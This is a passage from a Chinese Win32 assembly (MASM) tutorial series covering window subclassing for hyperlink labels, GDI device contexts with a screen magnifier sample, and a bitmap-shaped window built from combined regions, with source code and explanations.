;将 WM_NCHITTEST 返回 TRUE 可以接收鼠标动作，实现按下功能 !
            mov	eax,TRUE
            ret
        .elseif	eax ==	WM_SETCURSOR
            invoke	SetCursor,hCursorHandle
        .else
            invoke	GetWindowLong,hWnd,GWL_USERDATA
            invoke	CallWindowProc,eax,hWnd,uMsg,wParam,lParam
            ret
        .endif
        xor	eax,eax
        ret

_HyperLinkProc	endp
;********************************************************************
;	对话框窗口主程序
;********************************************************************
AboutDialogProc	proc	uses ebx edi esi, \
        hWnd:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD
        local	@stWindow:RECT
        local	@dwWidth:DWORD,@dwHeight:DWORD
        local	@hWinTemp:DWORD
        local	@stFont:LOGFONT,@hFontOutput:DWORD

        mov	eax,uMsg
        .if	eax == WM_CLOSE
            invoke	EndDialog,hWnd,NULL
        .elseif	eax == WM_INITDIALOG
            invoke	GetModuleHandle,NULL
            invoke	LoadCursor,eax,IDC_HANDLE
            mov	hCursorHandle,eax
            invoke	GetDlgItem,hWnd,ID_HOMEPAGE
            mov	@hWinTemp,eax
            invoke	SetWindowLong,@hWinTemp,GWL_WNDPROC,addr _HyperLinkProc
            invoke	SetWindowLong,@hWinTemp,GWL_USERDATA,eax
            invoke	GetDlgItem,hWnd,ID_EMAIL
            mov	@hWinTemp,eax
            invoke	SetWindowLong,@hWinTemp,GWL_WNDPROC,addr _HyperLinkProc
            invoke	SetWindowLong,@hWinTemp,GWL_USERDATA,eax
        .elseif	eax ==	WM_CTLCOLORSTATIC
            invoke	GetDlgCtrlID,lParam
            .if	eax == ID_HOMEPAGE || eax == ID_EMAIL
                invoke	SendMessage,lParam,WM_GETFONT,0,0
                mov	@hFontOutput,eax
                invoke	GetObject,@hFontOutput,sizeof LOGFONT,addr @stFont
                mov	@stFont.lfUnderline,TRUE
                invoke	CreateFontIndirect,addr @stFont
                mov	@hFontOutput,eax
                invoke	SelectObject,wParam,eax
                invoke	SetTextColor,wParam,Blue
                invoke	GetSysColor,COLOR_MENU
                invoke	SetBkColor,wParam,eax
                invoke	DeleteObject,@hFontOutput
;********************************************************************
;	注意此处一定要把StockOject的返回值返回，否则无法显示颜色
;********************************************************************
                invoke	GetStockObject,HOLLOW_BRUSH
            .else
                mov	eax,FALSE
                ret
            .endif
            ret
        .else
;********************************************************************
;	注意：对话框的消息处理后，要返回 TRUE,对没有处理的消息
;	要返回 FALSE
;********************************************************************
            mov	eax,FALSE
            ret
        .endif
        mov	eax,TRUE
        ret

AboutDialogProc	endp

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	程序开始
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

start:
        invoke	InitCommonControls
        invoke	GetModuleHandle,NULL
        mov	hInstance,eax
        invoke	DialogBoxParam,hInstance,DLG_ABOUT,\
            NULL,offset AboutDialogProc,DLG_ABOUT
        invoke	ExitProcess,NULL
;********************************************************************
        end	start

程序的分析和要点

在资源中，我们定义了两个文本框，ID 分别为 ID_HOMEPAGE 和 ID_EMAIL，在主对话框的过程的 initdialog 消息中，我们用 GetDlgItem 取的它们的 hWnd，然后进行子类化，我们把新的过程设置到了 _HyperLinkProc 中

            invoke	GetDlgItem,hWnd,ID_HOMEPAGE
            mov	@hWinTemp,eax
            invoke	SetWindowLong,@hWinTemp,GWL_WNDPROC,addr _HyperLinkProc
            invoke	SetWindowLong,@hWinTemp,GWL_USERDATA,eax
            invoke	GetDlgItem,hWnd,ID_EMAIL
            mov	@hWinTemp,eax
            invoke	SetWindowLong,@hWinTemp,GWL_WNDPROC,addr _HyperLinkProc
            invoke	SetWindowLong,@hWinTemp,GWL_USERDATA,eax

然后在新的处理过程中，检测到 WM_LBUTTONUP 消息（鼠标左键放开）就使用 ShellExecute API 来连到网站，检测 WM_NCHITTEST 来使文本控件接收鼠标的消息，检测 WM_SETCURSOR 消息把光标设置成手形，对这些消息以外的消息我们是不处理的，那就用 CallWindowProc 来调用原来的过程进行处理。

        .if	eax ==	WM_LBUTTONUP
            invoke	GetDlgCtrlID,hWnd
            .if	eax ==	ID_HOMEPAGE
                invoke	ShellExecute,0,0,offset szHomePage,0,0,0
            .elseif	eax ==	ID_EMAIL
                invoke	ShellExecute,0,0,offset szEmail,0,0,0
            .endif
        .elseif	eax ==	WM_NCHITTEST
;将 WM_NCHITTEST 返回 TRUE 可以接收鼠标动作，实现按下功能 !
            mov	eax,TRUE
            ret
        .elseif	eax ==	WM_SETCURSOR
            invoke	SetCursor,hCursorHandle
        .else
            invoke	GetWindowLong,hWnd,GWL_USERDATA
            invoke	CallWindowProc,eax,hWnd,uMsg,wParam,lParam
            ret
        .endif

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


罗云彬的Win32汇编教程

Win32汇编教程八
图形界面的操作

在这儿下载本节的所有源程序。

有关GDI和位图

GDI 即图形设备界面，是 Windows 最重要的部分之一，它大部分由 GDI32.DLL 库中的 API 来处理，GDI 的主要目的之一是支持与设备无关的图形编程，对于 Dos 下的图形编程，很多人可能“心有余悸”，因为PC 中有太多种类的显示卡，而几乎每个显示卡的处理都是不同的，即使后来有了 Vesa 编程，我们还是不能全部撇开具体的硬件，Windows GDI 使我们对图形的编程变得相对简单了很多，由于GDI 是 Windows 最庞大的部分，并不是几句话能讲清楚的，本节要讲的是 Windows 下GDI 的基本处理步骤和简单的位图处理，并没有涉及到 Directx 一类的编程。只希望能对朋友们有所启发。
Windows 并不允许程序员访问显示硬件，它的所有对屏幕的操作是通过环境设备（DC）来处理的，屏幕上的每一个窗口对应一个DC，你可以把一个DC 想象成这个窗口的视频缓冲区，你对DC的操作结果会反映到屏幕上，在窗口的DC之外，你也可以自己建立DC，这相当于建立一个内存中的缓冲区，你对这个DC的操作结果保存在内存中。你也可以用 API 在不同的DC之间拷贝数据，比如说你可以在内存DC 中先建立好数据，然后拷贝到窗口的DC中，就相当于完成了屏幕的刷新。
与DC的取得、建立取消有关的API有以下几种：

  1. GetDC(hWnd) - 取得某个窗口的DC，API 返回对应的 DC 句柄
  2. ReleaseDC(hWnd,hDC) - 释放用 GetDC 取得的 DC 句柄
  3. CreateCompatibleDC(hDC) - 从一个已知的 DC 句柄中建立一个内存 DC，各种参数、属性参考已知的 DC
  4. DeleteDC(hDC) - 删除用CreateCompatibleDC 建立的 DC

上面的4个API，必须成对出现，用 GetDC 取得的DC 必须用 ReleaseDC 释放，而用 CreateCompatibleDC 建立的 DC 必须用 DeleteDC 删除，不能混淆。DC 的作用范围：用 GetDC 取得的窗口 DC 必须尽快释放，你不应该在 Windows 的不同消息之间保存 DC 句柄，而用 CreateCompatibleDC 建立的 DC 可以长期保存，举例说明，如果你在 WM_PAINT 和 WM_SIZE 消息中都要对窗口的 DC 进行操作，你不能在 WM_INIT 时先 GetDC，然后保存句柄，最后在 WM_CLOSE 消息时 ReleaseDC，而是必须在 WM_PAINT 和 WM_SIZE 开始的地方 GetDC，在消息结束的地方就 ReleaseDC，而用 CreateCompatibleDC 建立的则相反，你可以在 WM_INIT 时建立，在 WM_CLOSE 时删除。
如果想把一个位图画到 DC 中，你只需简单的用 invoke SelectObject,hDc,hBitmap 就行了，是不是很简单？但图形操作并不是单单把位图放入屏幕就行了，还要涉及到位的操作，如把前景位图的边缘去掉贴入背景位图等。 Windows 的 GDI 提供了下面一些 DC 间的拷贝 API，中间就包括了拷贝的模式：

  1. BitBlt hDcDest,XDest,YDest,Width,Height,hDcSource,XSrc,YSrc,dwRop
    这个 API 把 hDcSource 的 XSrc,YSrc 坐标处的内容拷贝到 hDcDest 的 XDest,YDest 处，拷贝大小为 Width,Height。
  2. PatBlt hDc,X,Y,Width,Height,dwRop 是用预定义的刷子等 Object 填充 DC
  3. StretchBlt,hDcDest,XDest,YDest,Width,Height,hDcSource,XSrc,YSrc,WidthSrc,HeightSrc,dwRop 是拷贝并自动缩放大小，你可以注意到它和 BitBlt 相比多了两个参数 WidthSrc 和 HeightSrc，别的都是一样的。

以上API 中的 dwRop 参数是最关键的，它的值有 SRCCOPY，SRCPAINT，SRCAND，DSTINVERT 等，表示源DC 拷贝到目标DC后象素的计算方法，SRCCOPY 表示用源DC覆盖目标DC，SRCPAINT是执行 OR 操作，SRCAND 是执行 AND 操作，DSTINVERT 是取反，举例说明，如果源DC中的某一点是黑色，目标DC对应的点是红色，那么用 SRCCOPY后，目标DC的点变成黑色，用SRCPAINT 后还是红色，因为黑 (000000) or 红(0000ff) ＝红(0000ff)。
对应一般对屏幕或窗口进行图形操作的步骤如下。

  1. 用GetDC 取得目标窗口的 DC
  2. 用 CreateCompatibleDC 建立一个内存中的 DC用作缓冲区
  3. 用 SelectObject 填充内存DC 或别的办法对内存DC进行操作，一句话，先把要显示的东西处理好
  4. 用 BitBlt 把内存DC 拷贝到窗口 DC中，完成屏幕刷新。

本节的例子程序是一个屏幕放大镜，它把鼠标移动到的地方的屏幕内容放大一倍显示到自己的窗口中。

源程序 - 汇编源文件

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	Programmed by 罗云彬, bigluo@telekbird.com.cn
;	Website: http://asm.yeah.net
;	LuoYunBin's Win32 ASM page (罗云彬的编程乐园)
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	版本信息
;	汇编教程附带源程序 - 屏幕放大器
;	   V1.0 ------	2000年7月1日
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

        .386
        .model flat, stdcall
        option casemap :none   ; case sensitive

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	Include 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

include		windows.inc
include		user32.inc
include		kernel32.inc
include		comctl32.inc
include		comdlg32.inc
include		gdi32.inc

includelib	user32.lib
includelib	kernel32.lib
includelib	comctl32.lib
includelib	comdlg32.lib
includelib	gdi32.lib

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	Equ 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

DLG_MAIN	equ		1000
ID_BITMAP	equ		1001

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

        .data?

hWinPic		dd	?
hDcMem		dd	?
hBitmap		dd	?
hWinDesktop	dd	?
hInstance	dd	?
szBuffer	db	256 dup	(?)

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	子程序声明
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProcDlgMain	PROTO	:DWORD,:DWORD,:DWORD,:DWORD

        .data

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

        .code

include		Win.asm

;********************************************************************
_ProcDlgMain	proc	uses ebx edi esi, \
        hWnd:DWORD,wMsg:DWORD,wParam:DWORD,lParam:DWORD
        local	@stPoint:POINT
        local	@hDcDesktop,@hDcPic

        mov	eax,wMsg
        .if	eax == WM_CLOSE
            invoke	EndDialog,hWnd,NULL
            invoke	KillTimer,hWnd,1
            invoke	DeleteDC,hDcMem
            invoke	DeleteObject,hBitmap
; *******************************************************************
        .elseif	eax == WM_INITDIALOG
            invoke	GetDlgItem,hWnd,ID_BITMAP
            mov	hWinPic,eax
            invoke	GetDesktopWindow
            mov	hWinDesktop,eax
            invoke	SetWindowPos,hWnd,HWND_TOPMOST,0,0,0,0,\
                SWP_NOMOVE or SWP_NOSIZE
; *******************************************************************
            invoke	GetDC,hWinDesktop
            mov	@hDcDesktop,eax
            invoke	CreateCompatibleDC,@hDcDesktop
            mov	hDcMem,eax
            invoke	CreateCompatibleBitmap,@hDcDesktop,80,80
            mov	hBitmap,eax
            invoke	SelectObject,hDcMem,hBitmap
            invoke	ReleaseDC,hWinDesktop,@hDcDesktop
            invoke	SetTimer,hWnd,1,100,NULL
; *******************************************************************
        .elseif	eax == WM_TIMER
            invoke	GetCursorPos,addr @stPoint
            sub	@stPoint.x,20
            sub	@stPoint.y,20
            .if	@stPoint.x < 0
                mov	@stPoint.x,0
            .endif
            .if	@stPoint.y < 0
                mov	@stPoint.y,0
            .endif
            invoke	GetDC,hWinDesktop
            mov	@hDcDesktop,eax
            invoke	GetDC,hWinPic
            mov	@hDcPic,eax
            invoke	PatBlt,hDcMem,0,0,80,80,BLACKNESS
            invoke	StretchBlt,hDcMem,0,0,80,80,\
                @hDcDesktop,@stPoint.x,@stPoint.y,40,40,SRCCOPY
            invoke	BitBlt,@hDcPic,0,0,80,80,\
                hDcMem,0,0,SRCCOPY
            invoke	ReleaseDC,hWinDesktop,@hDcDesktop
            invoke	ReleaseDC,hWinPic,@hDcPic
        .else
;********************************************************************
;	注意：对话框的消息处理后，要返回 TRUE,对没有处理的消息
;	要返回 FALSE
;********************************************************************
            mov	eax,FALSE
            ret
        .endif
        mov	eax,TRUE
        ret

_ProcDlgMain	endp
;********************************************************************
start:
        invoke	GetModuleHandle,NULL
        mov	hInstance,eax
        invoke	DialogBoxParam,hInstance,DLG_MAIN,NULL,offset _ProcDlgMain,0
        invoke	ExitProcess,NULL

        end	start

程序的分析和要点

在程序的初始化中，我们用GetDc 取的桌面的屏幕的 DC，再用 CreateCompatibleDC 建立一个内存DC做缓冲区，建立一个位图再用 SelectObject 把 hDcMem 设置为这个位图是为了是 hDcMem 的大小变为 80x80。

            invoke	GetDC,hWinDesktop
            mov	@hDcDesktop,eax
            invoke	CreateCompatibleDC,@hDcDesktop
            mov	hDcMem,eax
            invoke	CreateCompatibleBitmap,@hDcDesktop,80,80
            mov	hBitmap,eax
            invoke	SelectObject,hDcMem,hBitmap
            invoke	ReleaseDC,hWinDesktop,@hDcDesktop

然后在程序的每 0.1 秒一次的 WM_TIMER 定时器消息中，我们先用 GetDC 取得桌面和对话框中文本框的句柄，然后用 PatBlt 把内存DC清除为黑色，再用 StretchBlt 从桌面DC中拷贝 40x40的区域到内存 DC 中，新的大小是 80x80（放大功能就是这样实现的），拷贝的位置是用 GetCursorPos 取得的，也就是鼠标的当前位置，最后用 BitBlt 把内存DC 拷贝到对话框中。如果直接把桌面DC 拷贝到对话框中也可以，但是当鼠标移动到屏幕边缘上时，由于屏幕外的点是无效的，所以对话框中的一部分会花屏，大家可以改动程序试试。

            invoke	GetCursorPos,addr @stPoint
            invoke	GetDC,hWinDesktop
            mov	@hDcDesktop,eax
            invoke	GetDC,hWinPic
            mov	@hDcPic,eax
            invoke	PatBlt,hDcMem,0,0,80,80,BLACKNESS
            invoke	StretchBlt,hDcMem,0,0,80,80,\
                @hDcDesktop,@stPoint.x,@stPoint.y,40,40,SRCCOPY
            invoke	BitBlt,@hDcPic,0,0,80,80,\
                hDcMem,0,0,SRCCOPY
            invoke	ReleaseDC,hWinDesktop,@hDcDesktop
            invoke	ReleaseDC,hWinPic,@hDcPic

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


罗云彬的Win32汇编教程

Win32汇编教程九
综合篇（一）复杂形状的窗口

在这儿下载本节的所有源程序(74k)。

概述

在前面八篇的 Win32asm 教程中，已经初步讲述了消息框、对话框、菜单、资源、GDI 等内容，基本上已经设计到了 Windows 界面的大部分内容，在继续新的 Windows 其他部分的内容如多线程、文件操作、内存操作之前，我先综合前面的内容并加上一些新内容，写上一篇综合篇。
本篇的例子程序是一个复杂形状的窗口，窗口的形状是根据位图自动计算得到的，这也就是在我编写的小闹钟中使用的技术（大家可以到我的软件发布中下载一个看看），由于以前在网上看到的有关特殊形状窗口的例子最多就是画一个圆形，或者几个方块和椭圆结合的形状，没有一篇文章指出如何画出如“唐老鸭”这样一个造型的窗口。本文使用的算法可以自动根据位图的形状计算窗口形状。
在源程序中，很多代码都是前面教程提到的，主要有以下部分：

  • 首先建立一个标准的窗口。（参考窗口一节）
  • 设置窗口为特殊形状。（见下面的程序分析）
  • 在窗口的 WM_PAINT 消息中更新窗口的图片。（参考图形界面一节）
  • 由于窗口没有标题栏，所以在右击窗口时弹出一个菜单。（参考菜单一节）
  • 菜单中有个“关于本程序”项，里面有超联结文本。（参考窗口子类化一节）

Windows 里有专门的 API 来实现特殊形状的窗口，步骤是首先建立区域(Region)，Region 可以合并，这样一来就可以用几个简单的区域合并出一个复杂的区域，建立、合并区域和设置窗口的 API 主要有以下几条：

  • CreateRectRgn(Left,Top,Right,Bottom) - 建立矩型区域
  • CreateEllipticRgn(Left,Top,Right,Bottom) - 建立椭圆区域
  • CreatePolygonRgn(lpPoints,NumberOfPoints,Mode) - 建立多边形区域，这些API返回区域句柄
  • CombineRgn(hDest,hSource1,hSource2,CombineMode) - 合并区域
  • SetWindowRgn(hWnd,hRgn,bRedraw) - 根据区域设置窗口形状

本程序的方法是扫描位图的点，按行设置区域，然后合并到总的区域中。

源程序 - 汇编源文件

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	是否包括调试代码
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
DEBUG		=	0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	Programmed by 罗云彬, bigluo@telekbird.com.cn
;	Website: http://asm.yeah.net
;	LuoYunBin's Win32 ASM page (罗云彬的编程乐园)
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	版本信息
;	特殊形状窗口的演示程序 Ver 1.0
;	可以根据位图自动设置窗口的形状。
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

    .386
    .model flat, stdcall
    option casemap :none   ; case sensitive

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	Include 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    include		windows.inc
    include		user32.inc
    include		kernel32.inc
    include		comctl32.inc
    include		comdlg32.inc
    include		shell32.inc
    include		gdi32.inc

    includelib	user32.lib
    includelib	kernel32.lib
    includelib	comctl32.lib
    includelib	comdlg32.lib
    includelib	shell32.lib
    includelib	gdi32.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	Equ 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;**************	Equ 数据 **********************************
IDI_MAIN	equ		1		;icon
IDC_HANDLE	equ		2		;Cursor
;**************	Equ 数据 **********************************
DLG_ABOUT	equ		1200		;dialog - about
ID_ABOUT_OK	equ		1201
ID_EMAIL	equ		1202
ID_HOMEPAGE	equ		1203
;**************	Equ 数据 **********************************
IDM_MAIN	equ		2000
IDM_ABOUT	equ		2001
IDM_EXIT	equ		2002
;**************	Equ 数据 **********************************
IDB_0		equ 		3000		;bitmap

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
        .data?
hInstance	dd		?
hWinMain	dd		?
hIcon		dd		?
hCursor		dd		?
hMenu		dd		?

hBmpBack	dd		?	;background bitmap
hDcBack		dd		?

;**************	数据段 ************************************
        .data

szClassName	db	'ShapeWindow',0

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

        .code

if		DEBUG
        include		Debug.asm
endif
;********************************************************************
;	设置窗口形状为BMP图形形状
;	参数：窗口句柄，BMP图形句柄
;	输入BMP图形要求：0，0处颜色为背景色
;********************************************************************
_SetWindowShape	proc	hWnd:DWORD,hBitMap:DWORD
        local	@hDC:DWORD,@hBmpDC:DWORD
        local	@stPs:PAINTSTRUCT
        local	@stRect:RECT
        local	@stBmp:BITMAP
        local	@dwX:DWORD,@dwY:DWORD,@dwStartX:DWORD
        local	@hRgn:DWORD,@hRgnTemp:DWORD
        local	@rgbBack:DWORD

        invoke	GetObject,hBitMap,sizeof BITMAP,addr @stBmp
        invoke	GetWindowRect,hWnd,addr @stRect
        invoke	ShowWindow,hWnd,SW_HIDE
        invoke	MoveWindow,hWnd,@stRect.left,@stRect.top,\
            @stBmp.bmWidth,@stBmp.bmHeight,FALSE

        invoke  GetDC,hWnd
        mov	@hDC,eax
        invoke	CreateCompatibleDC,@hDC
        mov	@hBmpDC,eax
        invoke	SelectObject,@hBmpDC,hBitMap
;*************** 计算窗口形状 ***************************************
        invoke	GetPixel,@hBmpDC,0,0
        mov	@rgbBack,eax
        invoke	CreateRectRgn,0,0,0,0
        mov	@hRgn,eax

        mov	@dwY,0
    .while	TRUE
        mov	@dwX,0
        mov	@dwStartX,-1
       .while	TRUE
        invoke	GetPixel,@hBmpDC,@dwX,@dwY
        .if	@dwStartX == -1
           .if	eax != @rgbBack
            mov	eax,@dwX
            mov	@dwStartX,eax
           .endif
        .else
           .if	eax == @rgbBack
            mov	ecx,@dwY
            inc	ecx
            invoke	CreateRectRgn,@dwStartX,@dwY,@dwX,ecx
            invoke	CombineRgn,@hRgn,@hRgn,eax,RGN_OR
            mov	@dwStartX,-1
           .else
            mov	eax,@dwX
            .if	eax == @stBmp.bmWidth
                inc	eax
                mov	ecx,@dwY
                inc	ecx
                invoke	CreateRectRgn,@dwStartX,@dwY,eax,ecx
                invoke	CombineRgn,@hRgn,@hRgn,eax,RGN_OR
                mov	@dwStartX,-1
            .endif
           .endif
        .endif
        inc	@dwX
        mov	eax,@dwX
        .break	.if eax > @stBmp.bmWidth
       .endw
        inc	@dwY
        mov	eax,@dwY
        .break	.if eax > @stBmp.bmHeight
    .endw

        invoke	SetWindowRgn,hWnd,@hRgn,TRUE
;********************************************************************
        invoke	BitBlt,@hDC,0,0,@stBmp.bmWidth,@stBmp.bmHeight,\
            @hBmpDC,0,0,SRCCOPY
        invoke	DeleteDC,@hBmpDC
        invoke	ReleaseDC,hWnd,@hDC
        invoke	InvalidateRect,hWnd,NULL,-1

        ret

_SetWindowShape	endp
;********************************************************************
;	将窗口移动到屏幕中间
;	参数：窗口句柄
;********************************************************************
_CenterWindow	proc	hWnd:DWORD
        local	@stRectDeskTop:RECT,@stRectWin:RECT
        local	@dwWidth:DWORD,@dwHeight:DWORD

        invoke	GetWindowRect,hWnd,addr @stRectWin
        invoke	GetDesktopWindow
        mov	ebx,eax
        invoke	GetWindowRect,ebx,addr @stRectDeskTop

        mov	eax,@stRectWin.bottom
        sub	eax,@stRectWin.top
        mov	@dwHeight,eax
        mov	eax,@stRectWin.right
        sub	eax,@stRectWin.left
        mov	@dwWidth,eax

        mov	ebx,@stRectDeskTop.bottom
        sub	ebx,@dwHeight
        shr	ebx,1
        mov	ecx,@stRectDeskTop.right
        sub	ecx,@dwWidth
        shr	ecx,1

        invoke	MoveWindow,hWnd,ecx,ebx,@dwWidth,@dwHeight,FALSE
        ret

_CenterWindow	endp
;********************************************************************
include		About.asm

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	程序开始
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
        call	_WinMain
        invoke	ExitProcess,NULL

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	主窗口程序
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_WinMain	proc
        local	@stWcMain:WNDCLASSEX
        local	@stMsg:MSG

        invoke	InitCommonControls
        invoke	GetModuleHandle,NULL
        mov	hInstance,eax
        invoke	LoadIcon,hInstance,IDI_MAIN
        mov	hIcon,eax
        invoke	LoadMenu,hInstance,IDM_MAIN
        invoke	GetSubMenu,eax,0	;PopUp 菜单要用到子菜单
        mov	hMenu,eax
;*************** 注册窗口类 *****************************************
        invoke	LoadCursor,0,IDC_ARROW
        mov	@stWcMain.hCursor,eax
        mov	@stWcMain.cbSize,sizeof WNDCLASSEX
        mov	@stWcMain.hIconSm,0
        mov	@stWcMain.style,CS_HREDRAW or CS_VREDRAW
        mov	@stWcMain.lpfnWndProc,offset WndMainProc
        mov	@stWcMain.cbClsExtra,0
        mov	@stWcMain.cbWndExtra,0
        mov	eax,hInstance
        mov	@stWcMain.hInstance,eax
        mov	@stWcMain.hIcon,0
        mov	@stWcMain.hbrBackground,COLOR_WINDOW + 1
        mov	@stWcMain.lpszClassName,offset szClassName
        mov	@stWcMain.lpszMenuName,0
        invoke	RegisterClassEx,addr @stWcMain
;***************** 建立输出窗口	*****************************************
;	属性：没有标题栏，不显示在任务栏
;********************************************************************
        invoke	CreateWindowEx,WS_EX_TOOLWINDOW,\
            offset szClassName,NULL,\
            WS_POPUP or WS_SYSMENU,\
            0,0,1,1,\
            NULL,NULL,hInstance,NULL

        invoke	ShowWindow,hWinMain,SW_SHOWNORMAL
        invoke	UpdateWindow,hWinMain
;*************** 消息循环 *******************************************
        .while	TRUE
            invoke	GetMessage,addr @stMsg,NULL,0,0
            .break	.if eax	== 0
            invoke	TranslateMessage,addr @stMsg
            invoke	DispatchMessage,addr @stMsg
        .endw
        ret

_WinMain	endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
WndMainProc	proc	uses ebx edi esi, \
        hWnd:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD
        local	@stPos:POINT
        local	@stPs:PAINTSTRUCT,@hDC:DWORD

        mov	eax,uMsg
        .if	eax ==	WM_CREATE
            mov	eax,hWnd
            mov	hWinMain,eax
            call	_Init
;********************************************************************
        .elseif	eax == WM_PAINT
            invoke	BeginPaint,hWnd,addr @stPs
            mov	@hDC,eax

            mov	eax,@stPs.rcPaint.right
            sub	eax,@stPs.rcPaint.left
            mov	ecx,@stPs.rcPaint.bottom
            sub	ecx,@stPs.rcPaint.top

            invoke	BitBlt,@hDC,@stPs.rcPaint.left,@stPs.rcPaint.top,eax,ecx,\
                hDcBack,@stPs.rcPaint.left,@stPs.rcPaint.top,SRCCOPY

            invoke	EndPaint,hWnd,addr @stPs
;********************************************************************
;	由于没有菜单，下面代码用于按下右键时弹出POPUP菜单
;********************************************************************
        .elseif eax == WM_RBUTTONDOWN
           .if wParam == MK_RBUTTON
            invoke	GetCursorPos,addr @stPos
            invoke	TrackPopupMenu,hMenu,TPM_LEFTALIGN,@stPos.x,@stPos.y,NULL,hWnd,NULL
           .endif
;********************************************************************
;	由于没有标题栏，下面代码用于按下左键时移动窗口
;********************************************************************
        .elseif eax == WM_LBUTTONDOWN
            invoke	UpdateWindow,hWnd		;即时刷新
            invoke	ReleaseCapture
            invoke	SendMessage,hWnd,WM_NCLBUTTONDOWN,HTCAPTION,0
;********************************************************************
        .elseif	eax ==	WM_COMMAND
           .if	lParam == 0
            mov	eax,wParam
            .if	ax == IDM_EXIT
                call	_Quit
            .elseif	ax == IDM_ABOUT
                invoke	DialogBoxParam,hInstance,DLG_ABOUT,hWnd,offset AboutDialogProc,DLG_ABOUT
            .endif
           .endif
;********************************************************************
        .elseif	eax ==	WM_CLOSE
            call	_Quit
;********************************************************************
        .else
            invoke	DefWindowProc,hWnd,uMsg,wParam,lParam
            ret
        .endif
;********************************************************************
;	注意：WndProc 处理 Windows 消息后，必须在 Eax 中返回 0
;	但是由 DefWindowProc 处理后的返回值不能改变，否则窗口
;	将无法显示!
;********************************************************************
        xor	eax,eax
        ret

WndMainProc	endp

;********************************************************************
_Init		proc
        local	@hDC

        invoke	SendMessage,hWinMain,WM_SETTEXT,0,offset szClassName
        invoke	SendMessage,hWinMain,WM_SETICON,ICON_SMALL,hIcon

        invoke	LoadBitmap,hInstance,IDB_0	;装入背景图片
        mov	hBmpBack,eax
        invoke	_SetWindowShape,hWinMain,hBmpBack	;设置窗口形状为背景图片
